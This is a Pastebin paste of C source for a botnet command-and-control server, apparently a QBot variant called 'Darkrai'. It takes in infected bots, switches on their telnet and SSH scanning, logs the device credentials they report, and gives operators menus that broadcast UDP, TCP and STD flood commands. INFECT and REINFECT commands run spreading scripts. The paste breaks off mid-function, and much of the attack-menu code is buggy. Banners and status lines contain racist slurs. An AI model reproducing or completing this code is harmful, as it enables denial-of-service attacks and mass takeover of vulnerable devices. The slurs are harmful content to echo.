Advertisement
Guest User

Untitled

a guest
Dec 2nd, 2017
396
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.83 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: b1narythag0d
  4. XMPP: b1nary@nigge.rs
  5. Made Date: 7-23-16
  6. */
  7. /*
  8. *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  9.  
  10. # ___ __________ ____ _______ _____ _______________.___. ___
  11. # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
  12. # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
  13. # | | \ | / | \/ | \ | \\____ |
  14. # |______ / |___\____|__ /\____|__ /____|_ // ______|
  15. # \/ \/ \/ \/ \/
  16. *** DARKRAI SERVER.C ***
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <stdint.h>
  21. #include <inttypes.h>
  22. #include <string.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <netdb.h>
  26. #include <unistd.h>
  27. #include <time.h>
  28. #include <fcntl.h>
  29. #include <sys/epoll.h>
  30. #include <errno.h>
  31. #include <pthread.h>
  32. #include <signal.h>
  33. #include <arpa/inet.h>
  34. #define MAXFDS 1000000
  35. //////////////////////////////////
  36. struct login_info {
  37. char username[20];
  38. char password[20];
  39. };
  40. static struct login_info accounts[10];
  41. struct clientdata_t {
  42. uint32_t ip;
  43. char connected;
  44. } clients[MAXFDS];
  45. struct telnetdata_t {
  46. int connected;
  47. } managements[MAXFDS];
  48. struct args {
  49. int sock;
  50. struct sockaddr_in cli_addr;
  51. };
  52. static volatile FILE *telFD;
  53. static volatile FILE *fileFD;
  54. static volatile int epollFD = 0;
  55. static volatile int listenFD = 0;
  56. static volatile int OperatorsConnected = 0;
  57. static volatile int TELFound = 0;
  58. static volatile int scannerreport;
  59. //////////////////////////////////
  60. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  61. int total = 0, got = 1;
  62. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  63. return got;
  64. }
  65. void trim(char *str) {
  66. int i;
  67. int begin = 0;
  68. int end = strlen(str) - 1;
  69. while (isspace(str[begin])) begin++;
  70. while ((end >= begin) && isspace(str[end])) end--;
  71. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  72. str[i - begin] = '\0';
  73. }
  74. static int make_socket_non_blocking (int sfd) {
  75. int flags, s;
  76. flags = fcntl (sfd, F_GETFL, 0);
  77. if (flags == -1) {
  78. perror ("fcntl");
  79. return -1;
  80. }
  81. flags |= O_NONBLOCK;
  82. s = fcntl (sfd, F_SETFL, flags);
  83. if (s == -1) {
  84. perror ("fcntl");
  85. return -1;
  86. }
  87. return 0;
  88. }
  89. static int create_and_bind (char *port) {
  90. struct addrinfo hints;
  91. struct addrinfo *result, *rp;
  92. int s, sfd;
  93. memset (&hints, 0, sizeof (struct addrinfo));
  94. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  95. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  96. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  97. s = getaddrinfo (NULL, port, &hints, &result);
  98. if (s != 0) {
  99. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  100. return -1;
  101. }
  102. for (rp = result; rp != NULL; rp = rp->ai_next) {
  103. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104. if (sfd == -1) continue;
  105. int yes = 1;
  106. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108. if (s == 0) {
  109. break;
  110. }
  111. close (sfd);
  112. }
  113. if (rp == NULL) {
  114. fprintf (stderr, "Could not bind\n");
  115. return -1;
  116. }
  117. freeaddrinfo (result);
  118. return sfd;
  119. }
  120. void broadcast(char *msg, int us, char *sender)
  121. {
  122. int sendMGM = 1;
  123. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  124. char *wot = malloc(strlen(msg) + 10);
  125. memset(wot, 0, strlen(msg) + 10);
  126. strcpy(wot, msg);
  127. trim(wot);
  128. time_t rawtime;
  129. struct tm * timeinfo;
  130. time(&rawtime);
  131. timeinfo = localtime(&rawtime);
  132. char *timestamp = asctime(timeinfo);
  133. trim(timestamp);
  134. int i;
  135. for(i = 0; i < MAXFDS; i++)
  136. {
  137. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  138. if(sendMGM && managements[i].connected)
  139. {
  140. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  141. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  142. send(i, ": ", 2, MSG_NOSIGNAL);
  143. }
  144. printf("sent to fd: %d\n", i);
  145. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  146. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  147. else send(i, "\n", 1, MSG_NOSIGNAL);
  148. }
  149. free(wot);
  150. }
  151. void *BotEventLoop(void *useless) {
  152. struct epoll_event event;
  153. struct epoll_event *events;
  154. int s;
  155. events = calloc (MAXFDS, sizeof event);
  156. while (1) {
  157. int n, i;
  158. n = epoll_wait (epollFD, events, MAXFDS, -1);
  159. for (i = 0; i < n; i++) {
  160. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  161. clients[events[i].data.fd].connected = 0;
  162. close(events[i].data.fd);
  163. continue;
  164. }
  165. else if (listenFD == events[i].data.fd) {
  166. while (1) {
  167. struct sockaddr in_addr;
  168. socklen_t in_len;
  169. int infd, ipIndex;
  170.  
  171. in_len = sizeof in_addr;
  172. infd = accept (listenFD, &in_addr, &in_len);
  173. if (infd == -1) {
  174. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  175. else {
  176. perror ("accept");
  177. break;
  178. }
  179. }
  180.  
  181. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  182. int dup = 0;
  183. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  184. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  185. if(clients[ipIndex].ip == clients[infd].ip) {
  186. dup = 1;
  187. break;
  188. }}
  189. if(dup) {
  190. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  191. close(infd);
  192. continue;
  193. }
  194. s = make_socket_non_blocking (infd);
  195. if (s == -1) { close(infd); break; }
  196. event.data.fd = infd;
  197. event.events = EPOLLIN | EPOLLET;
  198. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  199. if (s == -1) {
  200. perror ("epoll_ctl");
  201. close(infd);
  202. break;
  203. }
  204. clients[infd].connected = 1;
  205. send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL);
  206. send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL);
  207. }
  208. continue;
  209. }
  210. else {
  211. int datafd = events[i].data.fd;
  212. struct clientdata_t *client = &(clients[datafd]);
  213. int done = 0;
  214. client->connected = 1;
  215. while (1) {
  216. ssize_t count;
  217. char buf[2048];
  218. memset(buf, 0, sizeof buf);
  219. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  220. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  221. trim(buf);
  222. if(strcmp(buf, "PING") == 0) {
  223. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  224. continue;
  225. }
  226. if(strstr(buf, "REPORT ") == buf) {
  227. char *line = strstr(buf, "REPORT ") + 7;
  228. fprintf(telFD, "%s\n", line);
  229. fflush(telFD);
  230. TELFound++;
  231. continue;
  232. }
  233. if(strstr(buf, "PROBING") == buf) {
  234. char *line = strstr(buf, "PROBING");
  235. scannerreport = 1;
  236. continue;
  237. }
  238. if(strstr(buf, "REMOVING PROBE") == buf) {
  239. char *line = strstr(buf, "REMOVING PROBE");
  240. scannerreport = 0;
  241. continue;
  242. }
  243. if(strcmp(buf, "PONG") == 0) {
  244. continue;
  245. }
  246. printf("buf: \"%s\"\n", buf);
  247. }
  248. if (count == -1) {
  249. if (errno != EAGAIN) {
  250. done = 1;
  251. }
  252. break;
  253. }
  254. else if (count == 0) {
  255. done = 1;
  256. break;
  257. }
  258. if (done) {
  259. client->connected = 0;
  260. close(datafd);
  261. }}}}}}
  262. unsigned int BotsConnected() {
  263. int i = 0, total = 0;
  264. for(i = 0; i < MAXFDS; i++) {
  265. if(!clients[i].connected) continue;
  266. total++;
  267. }
  268. return total;
  269. }
  270. void *TitleWriter(void *sock) {
  271. int datafd = (int)sock;
  272. char string[2048];
  273. while(1) {
  274. memset(string, 0, 2048);
  275. sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  276. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  277. sleep(2);
  278. }}
  279. int Find_Login(char *str) {
  280. FILE *fp;
  281. int line_num = 0;
  282. int find_result = 0, find_line=0;
  283. char temp[512];
  284.  
  285. if((fp = fopen("login.txt", "r")) == NULL){
  286. return(-1);
  287. }
  288. while(fgets(temp, 512, fp) != NULL){
  289. if((strstr(temp, str)) != NULL){
  290. find_result++;
  291. find_line = line_num;
  292. }
  293. line_num++;
  294. }
  295. if(fp)
  296. fclose(fp);
  297. if(find_result == 0)return 0;
  298. return find_line;
  299. }
  300. void *BotWorker(void *sock) {
  301. int datafd = (int)sock;
  302. int find_line;
  303. OperatorsConnected++;
  304. pthread_t title;
  305. char buf[2048];
  306. char* username;
  307. char* password;
  308. memset(buf, 0, sizeof buf);
  309. char botnet[2048];
  310. memset(botnet, 0, 2048);
  311. char botcount [2048];
  312. memset(botcount, 0, 2048);
  313. char statuscount [2048];
  314. memset(statuscount, 0, 2048);
  315.  
  316. FILE *fp;
  317. int i=0;
  318. int c;
  319. fp=fopen("login.txt", "r");
  320. while(!feof(fp)) {
  321. c=fgetc(fp);
  322. ++i;
  323. }
  324. int j=0;
  325. rewind(fp);
  326. while(j!=i-1) {
  327. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  328. ++j;
  329. }
  330.  
  331. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  332. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  333. trim(buf);
  334. char* nickstring;
  335. sprintf(accounts[find_line].username, buf);
  336. nickstring = ("%s", buf);
  337. find_line = Find_Login(nickstring);
  338. if(strcmp(nickstring, accounts[find_line].username) == 0){
  339. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  340. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  341. trim(buf);
  342. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  343. memset(buf, 0, 2048);
  344. goto Banner;
  345. }
  346. failed:
  347. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  348. char failed_line1[80];
  349. char ascii_failed_line1 [80];
  350. char ascii_failed_line2 [80];
  351. char ascii_failed_line3 [80];
  352. char ascii_failed_line4 [80];
  353. char ascii_failed_line5 [80];
  354. char ascii_failed_line6 [80];
  355. char ascii_failed_line7 [80];
  356. char ascii_failed_line8 [80];
  357. char ascii_failed_line9 [80];
  358. char ascii_failed_line10 [80];
  359. char ascii_failed_line11 [80];
  360. char ascii_failed_line12 [80];
  361. char ascii_failed_line13 [80];
  362. char ascii_failed_line14 [80];
  363. char ascii_failed_line15 [80];
  364. char ascii_failed_line16 [80];
  365. char ascii_failed_line17 [80];
  366.  
  367. sprintf(ascii_failed_line1, "\x1b[31m / \ \r\n");
  368. sprintf(ascii_failed_line2, "\x1b[31m |\_/| \r\n");
  369. sprintf(ascii_failed_line3, "\x1b[31m |---| \r\n");
  370. sprintf(ascii_failed_line4, "\x1b[31m | | \r\n");
  371. sprintf(ascii_failed_line5, "\x1b[31m | | \r\n");
  372. sprintf(ascii_failed_line6, "\x1b[31m _ |=-=| _ \r\n");
  373. sprintf(ascii_failed_line7, "\x1b[31m _ / \| |/ \ _ \r\n");
  374. sprintf(ascii_failed_line8, "\x1b[31m / \| | | | \ \r\n");
  375. sprintf(ascii_failed_line9, "\x1b[31m| | | | | \ \r\n");
  376. sprintf(ascii_failed_line10, "\x1b[31m| | | | | | \r\n");
  377. sprintf(ascii_failed_line11, "\x1b[31m| - - - - |) ) \r\n");
  378. sprintf(ascii_failed_line12, "\x1b[31m| / \r\n");
  379. sprintf(ascii_failed_line13, "\x1b[31m \ / \r\n");
  380. sprintf(ascii_failed_line14, "\x1b[31m \ / \r\n");
  381. sprintf(ascii_failed_line15, "\x1b[31m \ / \r\n");
  382. sprintf(ascii_failed_line16, "\x1b[31m \ / \r\n");
  383. sprintf(ascii_failed_line17, "\x1b[31m | | \r\n");
  384.  
  385. sprintf(failed_line1, "\r\n\x1b[31mNu intrii asa usor!!\r\n");
  386.  
  387. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  388. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  390. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  391. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  392. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  393. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  394. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  395. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  396. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  397. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  398. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  399. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  400. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  401. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  402. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  403. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  404.  
  405. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  406. sleep(5);
  407. goto end;
  408.  
  409. Banner:
  410. pthread_create(&title, NULL, &TitleWriter, sock);
  411. char ascii_banner_line1 [5000];
  412. char ascii_banner_line2 [5000];
  413. char ascii_banner_line3 [5000];
  414. char ascii_banner_line4 [5000];
  415. char ascii_banner_line5 [5000];
  416. char ascii_banner_line6 [5000];
  417. char ascii_banner_line7 [5000];
  418. char ascii_banner_line8 [5000];
  419. char ascii_banner_line9 [5000];
  420. char ascii_banner_line10 [5000];
  421. char ascii_banner_line11 [5000];
  422. char ascii_banner_line12 [5000];
  423. char ascii_banner_line13 [5000];
  424. char ascii_banner_line14 [5000];
  425. char ascii_banner_line15 [5000];
  426. char ascii_banner_line16 [5000];
  427. char ascii_banner_line17 [5000];
  428. char ascii_banner_line18 [5000];
  429. char ascii_banner_line19 [5000];
  430. char ascii_banner_line20 [5000];
  431. char welcome_line [80];
  432. char banner_text_line1 [80];
  433. char banner_bot_count [2048];
  434. memset(banner_bot_count, 0, 2048);
  435.  
  436. sprintf(ascii_banner_line1, "\x1b[36mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM \r\n");
  437. sprintf(ascii_banner_line2, "\x1b[36mMMMMMMMMMMMMMNdhhyyssssyhdmMMMMMMMMMMMMM \r\n");
  438. sprintf(ascii_banner_line3, "\x1b[36mMMMMMMMMMN+. `:yMMMMMMMMMM \r\n");
  439. sprintf(ascii_banner_line4, "\x1b[36mMMMMMMMMM- /MMMMMMMMM \r\n");
  440. sprintf(ascii_banner_line5, "\x1b[36mMMMMMMMMd .::-` .--. hMMMMMMMM <><><><><><><><><><><> \r\n");
  441. sprintf(ascii_banner_line6, "\x1b[36mMMMMMMMMo ://ossyy. +hhho///`+MMMMMMMM <><> zIxandru & zDarIus69 <><> \r\n");
  442. sprintf(ascii_banner_line7, "\x1b[36mMMMMMMMM/ -so. `+o: /MMMMMMMM <><> Frica la hax0rei <><> \r\n");
  443. sprintf(ascii_banner_line8, "\x1b[36mMMMMMMMM/ `ohdhyoyy .:ohdds. /MMMMMMMM <><> QBoT <><> \r\n");
  444. sprintf(ascii_banner_line9, "\x1b[36mMMMMMMMM/.oosso+//m :////::.+MMMMMMMM <><><><><><><><><><><><><><><><><> \r\n");
  445. sprintf(ascii_banner_line10, "\x1b[36mMMMMMMMMh /N sMMMMMMMM <><> Hax0ri din nastere <><> \r\n");
  446. sprintf(ascii_banner_line11, "\x1b[36mMMMMMMMMMs- /mm ` `+NMMMMMMMM <><> SUNTEM FORTZA <><> \r\n");
  447. sprintf(ascii_banner_line12, "\x1b[36mMMMMMMMMMohmo.`-sss . `.sodhMMMMMMMMM <><> Hai ca iti spun sal! <><> \r\n");
  448. sprintf(ascii_banner_line13, "\x1b[36mMMMMMMMMMM-+yh+-.oh::s. ./hs++MMMMMMMMMM <><><><><><><><><><><> \r\n");
  449. sprintf(ascii_banner_line14, "\x1b[36mMMMMMMMMMMm`:o+ydmh:oNMmho:s:NMMMMMMMMMM \r\n");
  450. sprintf(ascii_banner_line15, "\x1b[36mMMMMMMMMMMMm./N:.....` `:-NMMMMMMMMMMM \r\n");
  451. sprintf(ascii_banner_line16, "\x1b[36mMMMMMMMMMMMMN-:- :MN. `/MMMMMMMMMMMMM \r\n");
  452. sprintf(ascii_banner_line17, "\x1b[36mMMMMMMMMMMMMMMo` sMM: .hMMMMMMMMMMMMMM \r\n");
  453. sprintf(ascii_banner_line18, "\x1b[36mMMMMMMMMMMMMMMMm+`/MN .sMMMMMMMMMMMMMMMM \r\n");
  454. sprintf(ascii_banner_line19, "\x1b[36mMMMMMMMMMMMMMMMMMMhMNdMMMMMMMMMMMMMMMMMM \r\n");
  455. sprintf(ascii_banner_line20, "\x1b[36mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM \r\n");
  456. //Created By ~B1NARY~ | Skype: b1narythag0d | XMPP: b1nary@nigge.rs
  457. sprintf(welcome_line, "\r\n\x1b[34m[-] SCLAVII: %d [+] Sefu, %s pe zona [+] Sefi %d [-]\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected);
  458. sprintf(banner_text_line1, "\x1b[34m [-] HELP PENTRU LISTA DE COMENZI [-]\r\n");
  459.  
  460.  
  461. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  462. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  463. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  464. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  465. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  469. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  470. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  471. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  472. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  473. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  474. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  475. if(send(datafd, ascii_banner_line15, strlen(ascii_banner_line15), MSG_NOSIGNAL) == -1) goto end;
  476. if(send(datafd, ascii_banner_line16, strlen(ascii_banner_line16), MSG_NOSIGNAL) == -1) goto end;
  477. if(send(datafd, ascii_banner_line17, strlen(ascii_banner_line17), MSG_NOSIGNAL) == -1) goto end;
  478. if(send(datafd, ascii_banner_line18, strlen(ascii_banner_line18), MSG_NOSIGNAL) == -1) goto end;
  479. if(send(datafd, ascii_banner_line19, strlen(ascii_banner_line19), MSG_NOSIGNAL) == -1) goto end;
  480. if(send(datafd, ascii_banner_line20, strlen(ascii_banner_line20), MSG_NOSIGNAL) == -1) goto end;
  481. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  482. while(1) {
  483. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  484. if(send(datafd, banner_text_line1, strlen(banner_text_line1), MSG_NOSIGNAL) == -1) goto end;
  485. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  486. break;
  487. }
  488. pthread_create(&title, NULL, &TitleWriter, sock);
  489. managements[datafd].connected = 1;
  490.  
  491. while(fdgets(buf, sizeof buf, datafd) > 0)
  492. {
  493.  
  494. if(strstr(buf, "ATTACK"))
  495. {
  496. int choice;
  497.  
  498. char ATTACK_MENU [2048];
  499.  
  500. char UDP_ATTACK [2048];
  501. char UDP_ATTACK_MESSAGE [2048];
  502. char UDP_ATTACK_IP;
  503. char UDP_ATTACK_PORT;
  504. char UDP_ATTACK_SEC;
  505. char UDP_ATTACK_SEND_COMMAND;
  506.  
  507. char TCP_ATTACK [2048];
  508. char TCP_ATTACK_MESSAGE [2048];
  509. char TCP_ATTACK_IP;
  510. char TCP_ATTACK_PORT;
  511. char TCP_ATTACK_SEC;
  512. char TCP_ATTACK_SEND_COMMAND;
  513.  
  514. char STD_ATTACK [2048];
  515. char STD_ATTACK_MESSAGE [2048];
  516. char STD_ATTACK_IP;
  517. char STD_ATTACK_PORT;
  518. char STD_ATTACK_SEC;
  519. char STD_ATTACK_SEND_COMMAND;
  520.  
  521. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  522. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  523. do
  524. {
  525. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  526. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  527. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  528.  
  529. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  530. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  531. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  532. scanf("%d", &choice);
  533.  
  534. switch(choice)
  535. {
  536. case 1:
  537.  
  538. sprintf(UDP_ATTACK_IP, "IP: ");
  539. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  540. scanf("%d", &UDP_ATTACK_IP);
  541.  
  542. sprintf(UDP_ATTACK_PORT, "Port: ");
  543. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  544. scanf("%d", &UDP_ATTACK_PORT);
  545.  
  546. sprintf("Sec: ", &UDP_ATTACK_SEC);
  547. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  548. scanf("%d", &UDP_ATTACK_SEC);
  549.  
  550. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  551. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  552. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  553.  
  554. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  555. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  556.  
  557. continue;
  558. case 2:
  559.  
  560. sprintf(TCP_ATTACK_IP, "IP: ");
  561. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  562. scanf("%d", &TCP_ATTACK_IP);
  563.  
  564. sprintf(TCP_ATTACK_PORT, "Port: ");
  565. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  566. scanf("%d", &TCP_ATTACK_PORT);
  567.  
  568. sprintf(TCP_ATTACK_SEC, "Sec: ");
  569. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  570. scanf("%d", &TCP_ATTACK_SEC);
  571.  
  572. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  573. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  574. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  575.  
  576. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  577. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  578.  
  579. continue;
  580.  
  581. case 3:
  582.  
  583. sprintf(STD_ATTACK_IP, "IP: ");
  584. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  585. scanf("%d", &STD_ATTACK_IP);
  586.  
  587. sprintf(STD_ATTACK_PORT, "Port: ");
  588. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  589. scanf("%d", &STD_ATTACK_PORT);
  590.  
  591. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  592. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  593. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  594.  
  595. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  596. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  597.  
  598. continue;
  599.  
  600.  
  601. }}
  602. while(choice !=3);
  603. }
  604. if(strstr(buf, "BOTS"))
  605. {
  606. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  607. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  608. continue;
  609. }
  610. if(strstr(buf, "STATUS"))
  611. {
  612. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  613. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  614. continue;
  615. }
  616. if(strstr(buf, "STATS"))
  617. {
  618. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  619. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  620. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  621. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  622. continue;
  623. }
  624. if(strstr(buf, "INFECT"))
  625. {
  626. system("python telnet.py filtered.txt");
  627. continue;
  628. }
  629. if(strstr(buf, "REINFECT"))
  630. {
  631. system("python w.py filtered_ssh.txt");
  632. continue;
  633. }
  634. if(strstr(buf, "FILTER"))
  635. {
  636. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  637. continue;
  638. }
  639. if(strstr(buf, "LOAD"))
  640. {
